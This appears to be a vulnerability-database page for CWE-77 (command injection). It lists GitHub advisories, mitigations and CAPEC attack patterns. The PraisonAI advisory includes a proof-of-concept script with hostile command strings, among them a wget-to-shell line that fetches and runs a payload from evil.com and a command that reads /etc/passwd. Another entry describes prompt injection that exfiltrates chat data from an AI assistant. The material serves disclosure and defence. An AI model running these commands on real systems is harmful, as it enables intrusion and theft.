CWE-77
Allowed-with-ReviewImproper Neutralization of Special Elements used in a Command ('Command Injection')
Abstraction: Class · Status: Draft
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
5381 vulnerabilities reference this CWE, most recent first.
GHSA-9Q6R-354C-H8C2
Vulnerability from github – Published: 2024-04-17 15:30 – Updated: 2024-07-03 18:34Tenda AC7V1.0 v15.03.06.44 firmware contains a command injection vulnerablility in formexeCommand function via the cmdinput parameter.
{
"affected": [],
"aliases": [
"CVE-2024-32281"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-17T13:15:08Z",
"severity": "HIGH"
},
"details": "Tenda AC7V1.0 v15.03.06.44 firmware contains a command injection vulnerablility in formexeCommand function via the cmdinput parameter.",
"id": "GHSA-9q6r-354c-h8c2",
"modified": "2024-07-03T18:34:45Z",
"published": "2024-04-17T15:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32281"
},
{
"type": "WEB",
"url": "https://github.com/abcdefg-png/IoT-vulnerable/blob/main/Tenda/AC7/v1/formexecommand.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9Q92-4HRQ-VJ96
Vulnerability from github – Published: 2026-07-11 09:34 – Updated: 2026-07-11 09:34The Code Engine plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 0.3.5 via the 'code-engine' shortcode. This is due to the plugin not restricting access to the code injecting functionality of the plugin. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.
{
"affected": [],
"aliases": [
"CVE-2025-6784"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-11T07:16:44Z",
"severity": "HIGH"
},
"details": "The Code Engine plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 0.3.5 via the \u0027code-engine\u0027 shortcode. This is due to the plugin not restricting access to the code injecting functionality of the plugin. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.",
"id": "GHSA-9q92-4hrq-vj96",
"modified": "2026-07-11T09:34:17Z",
"published": "2026-07-11T09:34:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6784"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3345666"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1a5f970a-e6a0-4dc7-8e99-342a32f5fd49?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9Q9F-F28Q-83XJ
Vulnerability from github – Published: 2022-05-24 19:11 – Updated: 2025-10-22 00:32Realtek Jungle SDK version v2.x up to v3.4.14B provides a diagnostic tool called 'MP Daemon' that is usually compiled as 'UDPServer' binary. The binary is affected by multiple memory corruption vulnerabilities and an arbitrary command injection vulnerability that can be exploited by remote unauthenticated attackers.
{
"affected": [],
"aliases": [
"CVE-2021-35394"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-16T12:15:00Z",
"severity": "CRITICAL"
},
"details": "Realtek Jungle SDK version v2.x up to v3.4.14B provides a diagnostic tool called \u0027MP Daemon\u0027 that is usually compiled as \u0027UDPServer\u0027 binary. The binary is affected by multiple memory corruption vulnerabilities and an arbitrary command injection vulnerability that can be exploited by remote unauthenticated attackers.",
"id": "GHSA-9q9f-f28q-83xj",
"modified": "2025-10-22T00:32:19Z",
"published": "2022-05-24T19:11:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-35394"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-35394"
},
{
"type": "WEB",
"url": "https://www.iot-inspector.com/blog/advisory-multiple-issues-realtek-sdk-iot-supply-chain"
},
{
"type": "WEB",
"url": "https://www.realtek.com/en/cu-1-en/cu-1-taiwan-en"
},
{
"type": "WEB",
"url": "https://www.realtek.com/images/safe-report/Realtek_APRouter_SDK_Advisory-CVE-2021-35392_35395.pdf"
},
{
"type": "WEB",
"url": "https://www.securityfocus.com/archive/1/534765"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9QHH-C53M-4Q69
Vulnerability from github – Published: 2023-12-01 18:30 – Updated: 2023-12-06 21:30D-Link Go-RT-AC750 revA_v101b03 was discovered to contain a command injection vulnerability via the service parameter at hedwig.cgi.
{
"affected": [],
"aliases": [
"CVE-2023-48842"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-01T16:15:07Z",
"severity": "CRITICAL"
},
"details": "D-Link Go-RT-AC750 revA_v101b03 was discovered to contain a command injection vulnerability via the service parameter at hedwig.cgi.",
"id": "GHSA-9qhh-c53m-4q69",
"modified": "2023-12-06T21:30:58Z",
"published": "2023-12-01T18:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48842"
},
{
"type": "WEB",
"url": "https://drive.google.com/file/d/1y5om__f2SAhNmcPqDxC_SRTvJVAWwPcH/view?usp=drive_link"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9QHQ-V63V-FV3J
Vulnerability from github – Published: 2026-04-17 22:23 – Updated: 2026-05-12 13:31Summary
The fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to parse_mcp_command(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution.
Affected Package
- Ecosystem: PyPI
- Package: MervinPraison/PraisonAI
- Affected versions: < 47bff65413be
- Patched versions: >= 47bff65413be
Details
The vulnerability exists in src/praisonai/praisonai/cli/features/mcp.py in the MCPHandler.parse_mcp_command() method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.
The fix commit 47bff654 was intended to address command injection, but the patched parse_mcp_command() still lacks three critical controls: there is no ALLOWED_COMMANDS allowlist of permitted executables (e.g., npx, uvx, node, python), there is no os.path.basename() validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.
Malicious MCP server commands such as python -c 'import os; os.system("id")', bash -c 'cat /etc/passwd', and /bin/sh -c 'wget http://evil.com/shell.sh | sh' are all accepted by parse_mcp_command() and passed directly to subprocess execution without filtering.
PoC
#!/usr/bin/env python3
"""
CVE-2026-34935 - PraisonAI command injection via parse_mcp_command()
Tests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654).
The pre-patch parse_mcp_command() performs NO validation on the executable or
arguments, allowing arbitrary command execution via MCP server commands.
Repo: https://github.com/MervinPraison/PraisonAI
Patch commit: 47bff65413beaa3c21bf633c1fae4e684348368c
"""
import sys
import os
import importlib.util
# Load the REAL mcp.py from the cloned PraisonAI repo at vulnerable commit
MCP_PATH = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/mcp.py"
def load_mcp_handler():
"""Load the real MCPHandler class from the vulnerable source."""
base_path = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/base.py"
spec_base = importlib.util.spec_from_file_location("features_base", base_path)
mod_base = importlib.util.module_from_spec(spec_base)
sys.modules["features_base"] = mod_base
with open(MCP_PATH) as f:
source = f.read()
source = source.replace("from .base import FlagHandler", """
class FlagHandler:
def print_status(self, msg, level="info"):
print(f"[{level}] {msg}")
""")
ns = {"__name__": "mcp_module", "__file__": MCP_PATH}
exec(compile(source, MCP_PATH, "exec"), ns)
return ns["MCPHandler"]
def main():
MCPHandler = load_mcp_handler()
handler = MCPHandler()
print(f"Source file: {MCP_PATH}")
print(f"Loaded MCPHandler from real PraisonAI source")
print()
malicious_commands = [
"python -c 'import os; os.system(\"id\")'",
"node -e 'require(\"child_process\").execSync(\"whoami\")'",
"bash -c 'cat /etc/passwd'",
"/bin/sh -c 'wget http://evil.com/shell.sh | sh'",
]
print("Testing parse_mcp_command with malicious inputs:")
print()
all_accepted = True
for cmd_str in malicious_commands:
try:
cmd, args, env = handler.parse_mcp_command(cmd_str)
print(f" Input: {cmd_str}")
print(f" Command: {cmd}")
print(f" Args: {args}")
print(f" Result: ACCEPTED (no validation)")
print()
except Exception as e:
print(f" Input: {cmd_str}")
print(f" Result: REJECTED ({e})")
all_accepted = False
print()
if all_accepted:
print("ALL malicious commands accepted without validation!")
print()
with open(MCP_PATH) as f:
source = f.read()
has_allowlist = "ALLOWED_COMMANDS" in source or "allowlist" in source.lower()
has_basename_check = "os.path.basename" in source
has_validation = has_allowlist or has_basename_check
print(f"Has command allowlist: {has_allowlist}")
print(f"Has basename check: {has_basename_check}")
print(f"Has any command validation: {has_validation}")
print()
if not has_validation:
print("COMMAND INJECTION: parse_mcp_command() has NO command validation!")
print(" - No allowlist of permitted executables")
print(" - No argument inspection")
print(" - Arbitrary commands passed directly to subprocess execution")
print()
print("VULNERABILITY CONFIRMED")
sys.exit(0)
print("Some commands were rejected - validation present")
sys.exit(1)
if __name__ == "__main__":
main()
Steps to reproduce:
1. git clone https://github.com/MervinPraison/PraisonAI /tmp/praisonai_real
2. cd /tmp/praisonai_real && git checkout 47bff654~1
3. python3 poc.py
Expected output:
VULNERABILITY CONFIRMED
parse_mcp_command() has NO command validation; arbitrary commands passed directly to subprocess execution without an allowlist.
Impact
An attacker who can influence MCP server configuration (e.g., via a malicious plugin or shared configuration file) can execute arbitrary system commands on the host running PraisonAI, enabling full remote code execution, data exfiltration, and lateral movement.
Suggested Remediation
Implement a strict allowlist of permitted executables (e.g., npx, uvx, node, python) in parse_mcp_command(). Validate commands against os.path.basename() to prevent absolute path injection. Inspect arguments for shell metacharacters and dangerous subcommand patterns (e.g., -c, -e flags enabling inline code execution).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.5.148"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.149"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41497"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-17T22:23:50Z",
"nvd_published_at": "2026-05-08T14:16:33Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nThe fix for PraisonAI\u0027s MCP command handling does not add a command allowlist or argument validation to `parse_mcp_command()`, allowing arbitrary executables like `bash`, `python`, or `/bin/sh` with inline code execution flags to pass through to subprocess execution.\n\n### Affected Package\n\n- **Ecosystem:** PyPI\n- **Package:** MervinPraison/PraisonAI\n- **Affected versions:** \u003c 47bff65413be\n- **Patched versions:** \u003e= 47bff65413be\n\n### Details\n\nThe vulnerability exists in `src/praisonai/praisonai/cli/features/mcp.py` in the `MCPHandler.parse_mcp_command()` method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.\n\nThe fix commit `47bff654` was intended to address command injection, but the patched `parse_mcp_command()` still lacks three critical controls: there is no `ALLOWED_COMMANDS` allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`), there is no `os.path.basename()` validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.\n\nMalicious MCP server commands such as `python -c \u0027import os; os.system(\"id\")\u0027`, `bash -c \u0027cat /etc/passwd\u0027`, and `/bin/sh -c \u0027wget http://evil.com/shell.sh | sh\u0027` are all accepted by `parse_mcp_command()` and passed directly to subprocess execution without filtering.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE-2026-34935 - PraisonAI command injection via parse_mcp_command()\n\nTests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654).\nThe pre-patch parse_mcp_command() performs NO validation on the executable or\narguments, allowing arbitrary command execution via MCP server commands.\n\nRepo: https://github.com/MervinPraison/PraisonAI\nPatch commit: 47bff65413beaa3c21bf633c1fae4e684348368c\n\"\"\"\n\nimport sys\nimport os\nimport importlib.util\n\n# Load the REAL mcp.py from the cloned PraisonAI repo at vulnerable commit\nMCP_PATH = \"/tmp/praisonai_real/src/praisonai/praisonai/cli/features/mcp.py\"\n\ndef load_mcp_handler():\n \"\"\"Load the real MCPHandler class from the vulnerable source.\"\"\"\n base_path = \"/tmp/praisonai_real/src/praisonai/praisonai/cli/features/base.py\"\n\n spec_base = importlib.util.spec_from_file_location(\"features_base\", base_path)\n mod_base = importlib.util.module_from_spec(spec_base)\n sys.modules[\"features_base\"] = mod_base\n\n with open(MCP_PATH) as f:\n source = f.read()\n\n source = source.replace(\"from .base import FlagHandler\", \"\"\"\nclass FlagHandler:\n def print_status(self, msg, level=\"info\"):\n print(f\"[{level}] {msg}\")\n\"\"\")\n\n ns = {\"__name__\": \"mcp_module\", \"__file__\": MCP_PATH}\n exec(compile(source, MCP_PATH, \"exec\"), ns)\n return ns[\"MCPHandler\"]\n\n\ndef main():\n MCPHandler = load_mcp_handler()\n handler = MCPHandler()\n\n print(f\"Source file: {MCP_PATH}\")\n print(f\"Loaded MCPHandler from real PraisonAI source\")\n print()\n\n malicious_commands = [\n \"python -c \u0027import os; os.system(\\\"id\\\")\u0027\",\n \"node -e \u0027require(\\\"child_process\\\").execSync(\\\"whoami\\\")\u0027\",\n \"bash -c \u0027cat /etc/passwd\u0027\",\n \"/bin/sh -c \u0027wget http://evil.com/shell.sh | sh\u0027\",\n ]\n\n print(\"Testing parse_mcp_command with malicious inputs:\")\n print()\n\n all_accepted = True\n for cmd_str in malicious_commands:\n try:\n cmd, args, env = handler.parse_mcp_command(cmd_str)\n print(f\" Input: {cmd_str}\")\n print(f\" Command: {cmd}\")\n print(f\" Args: {args}\")\n print(f\" Result: ACCEPTED (no validation)\")\n print()\n except Exception as e:\n print(f\" Input: {cmd_str}\")\n print(f\" Result: REJECTED ({e})\")\n all_accepted = False\n print()\n\n if all_accepted:\n print(\"ALL malicious commands accepted without validation!\")\n print()\n\n with open(MCP_PATH) as f:\n source = f.read()\n\n has_allowlist = \"ALLOWED_COMMANDS\" in source or \"allowlist\" in source.lower()\n has_basename_check = \"os.path.basename\" in source\n has_validation = has_allowlist or has_basename_check\n\n print(f\"Has command allowlist: {has_allowlist}\")\n print(f\"Has basename check: {has_basename_check}\")\n print(f\"Has any command validation: {has_validation}\")\n print()\n\n if not has_validation:\n print(\"COMMAND INJECTION: parse_mcp_command() has NO command validation!\")\n print(\" - No allowlist of permitted executables\")\n print(\" - No argument inspection\")\n print(\" - Arbitrary commands passed directly to subprocess execution\")\n print()\n print(\"VULNERABILITY CONFIRMED\")\n sys.exit(0)\n\n print(\"Some commands were rejected - validation present\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n**Steps to reproduce:**\n1. `git clone https://github.com/MervinPraison/PraisonAI /tmp/praisonai_real`\n2. `cd /tmp/praisonai_real \u0026\u0026 git checkout 47bff654~1`\n3. `python3 poc.py`\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\nparse_mcp_command() has NO command validation; arbitrary commands passed directly to subprocess execution without an allowlist.\n```\n\n### Impact\n\nAn attacker who can influence MCP server configuration (e.g., via a malicious plugin or shared configuration file) can execute arbitrary system commands on the host running PraisonAI, enabling full remote code execution, data exfiltration, and lateral movement.\n\n### Suggested Remediation\n\nImplement a strict allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`) in `parse_mcp_command()`. Validate commands against `os.path.basename()` to prevent absolute path injection. Inspect arguments for shell metacharacters and dangerous subcommand patterns (e.g., `-c`, `-e` flags enabling inline code execution).",
"id": "GHSA-9qhq-v63v-fv3j",
"modified": "2026-05-12T13:31:53Z",
"published": "2026-04-17T22:23:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9qhq-v63v-fv3j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34935"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41497"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/47bff65413beaa3c21bf633c1fae4e684348368c"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI has an incomplete fix for CVE-2026-34935 - OS Command Injection "
}
GHSA-9QMM-FMP8-WCFP
Vulnerability from github – Published: 2026-02-08 12:30 – Updated: 2026-02-11 21:30A vulnerability has been found in D-Link DIR-615 4.10. This affects an unknown part of the file adv_firewall.php of the component DMZ Host Feature. Such manipulation of the argument dmz_ipaddr leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. This vulnerability only affects products that are no longer supported by the maintainer.
{
"affected": [],
"aliases": [
"CVE-2026-2151"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-08T12:15:52Z",
"severity": "HIGH"
},
"details": "A vulnerability has been found in D-Link DIR-615 4.10. This affects an unknown part of the file adv_firewall.php of the component DMZ Host Feature. Such manipulation of the argument dmz_ipaddr\u00a0 leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. This vulnerability only affects products that are no longer supported by the maintainer.",
"id": "GHSA-9qmm-fmp8-wcfp",
"modified": "2026-02-11T21:30:35Z",
"published": "2026-02-08T12:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2151"
},
{
"type": "WEB",
"url": "https://pentagonal-time-3a7.notion.site/DIR-615-OS-Command-Injection-2f6e5dd4c5a58053b2b4f166c2a503ba"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.344853"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.344853"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.748031"
},
{
"type": "WEB",
"url": "https://www.dlink.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-9QMQ-F7GC-GF44
Vulnerability from github – Published: 2024-08-06 18:30 – Updated: 2024-08-07 21:31GL-iNet products AR750/AR750S/AR300M/AR300M16/MT300N-V2/B1300/MT1300/SFT1200/X750 v4.3.11, MT3000/MT2500/AXT1800/AX1800/A1300/X300B v4.5.16, XE300 v4.3.16, E750 v4.3.12, AP1300/S1300 v4.3.13, and XE3000/X3000 v4.4 were discovered to contain insecure permissions in the endpoint /cgi-bin/glc. This vulnerability allows unauthenticated attackers to execute arbitrary code or possibly a directory traversal via crafted JSON data.
{
"affected": [],
"aliases": [
"CVE-2024-39226"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-06T16:15:48Z",
"severity": "CRITICAL"
},
"details": "GL-iNet products AR750/AR750S/AR300M/AR300M16/MT300N-V2/B1300/MT1300/SFT1200/X750 v4.3.11, MT3000/MT2500/AXT1800/AX1800/A1300/X300B v4.5.16, XE300 v4.3.16, E750 v4.3.12, AP1300/S1300 v4.3.13, and XE3000/X3000 v4.4 were discovered to contain insecure permissions in the endpoint /cgi-bin/glc. This vulnerability allows unauthenticated attackers to execute arbitrary code or possibly a directory traversal via crafted JSON data.",
"id": "GHSA-9qmq-f7gc-gf44",
"modified": "2024-08-07T21:31:44Z",
"published": "2024-08-06T18:30:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39226"
},
{
"type": "WEB",
"url": "https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/s2s%20interface%20shell%20injection.md"
},
{
"type": "WEB",
"url": "http://ar750ar750sar300mar300m16mt300n-v2b1300mt1300sft1200x750.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9QX9-XJ3X-VH99
Vulnerability from github – Published: 2024-04-09 18:30 – Updated: 2024-04-09 18:30Microsoft Defender for IoT Remote Code Execution Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-21322"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-09T17:15:34Z",
"severity": "HIGH"
},
"details": "Microsoft Defender for IoT Remote Code Execution Vulnerability",
"id": "GHSA-9qx9-xj3x-vh99",
"modified": "2024-04-09T18:30:24Z",
"published": "2024-04-09T18:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21322"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21322"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9R2M-WXGM-WG9Q
Vulnerability from github – Published: 2024-01-26 00:30 – Updated: 2024-01-26 00:30A command injection vulnerability exists in the 'SaveStaticRouteIPv4Params' parameter of the Motorola MR2600. A remote attacker can exploit this vulnerability to achieve command execution. Authentication is required, however can be bypassed.
{
"affected": [],
"aliases": [
"CVE-2024-23627"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-26T00:15:11Z",
"severity": "CRITICAL"
},
"details": "A command injection vulnerability exists in the \u0027SaveStaticRouteIPv4Params\u0027 parameter of the Motorola MR2600. A remote attacker can exploit this vulnerability to achieve command execution. Authentication is required, however can be bypassed.",
"id": "GHSA-9r2m-wxgm-wg9q",
"modified": "2024-01-26T00:30:30Z",
"published": "2024-01-26T00:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23627"
},
{
"type": "WEB",
"url": "https://blog.exodusintel.com/2024/01/25/motorola-mr2600-savestaticrouteipv4params-command-injection-vulnerability"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9R3V-4452-42X7
Vulnerability from github – Published: 2024-10-24 21:31 – Updated: 2024-10-25 21:31A prompt injection vulnerability in the chatbox of Zhipu AI CodeGeeX v2.17.0 allows attackers to access and exfiltrate all previous and subsequent chat data between the user and the AI assistant via a crafted message.
{
"affected": [],
"aliases": [
"CVE-2024-48141"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-24T19:15:15Z",
"severity": "HIGH"
},
"details": "A prompt injection vulnerability in the chatbox of Zhipu AI CodeGeeX v2.17.0 allows attackers to access and exfiltrate all previous and subsequent chat data between the user and the AI assistant via a crafted message.",
"id": "GHSA-9r3v-4452-42x7",
"modified": "2024-10-25T21:31:27Z",
"published": "2024-10-24T21:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48141"
},
{
"type": "WEB",
"url": "https://github.com/soursec/CVEs/tree/main/CVE-2024-48141"
},
{
"type": "WEB",
"url": "https://marketplace.visualstudio.com/items?itemName=aminer.codegeex"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation
If possible, ensure that all external commands called from the program are statically created.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.
Mitigation
Assign permissions that prevent the user from accessing/opening privileged files.
CAPEC-136: LDAP Injection
An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-183: IMAP/SMTP Command Injection
An adversary exploits weaknesses in input validation on web-mail servers to execute commands on the IMAP/SMTP server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.
CAPEC-248: Command Injection
An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.
CAPEC-40: Manipulating Writeable Terminal Devices
This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.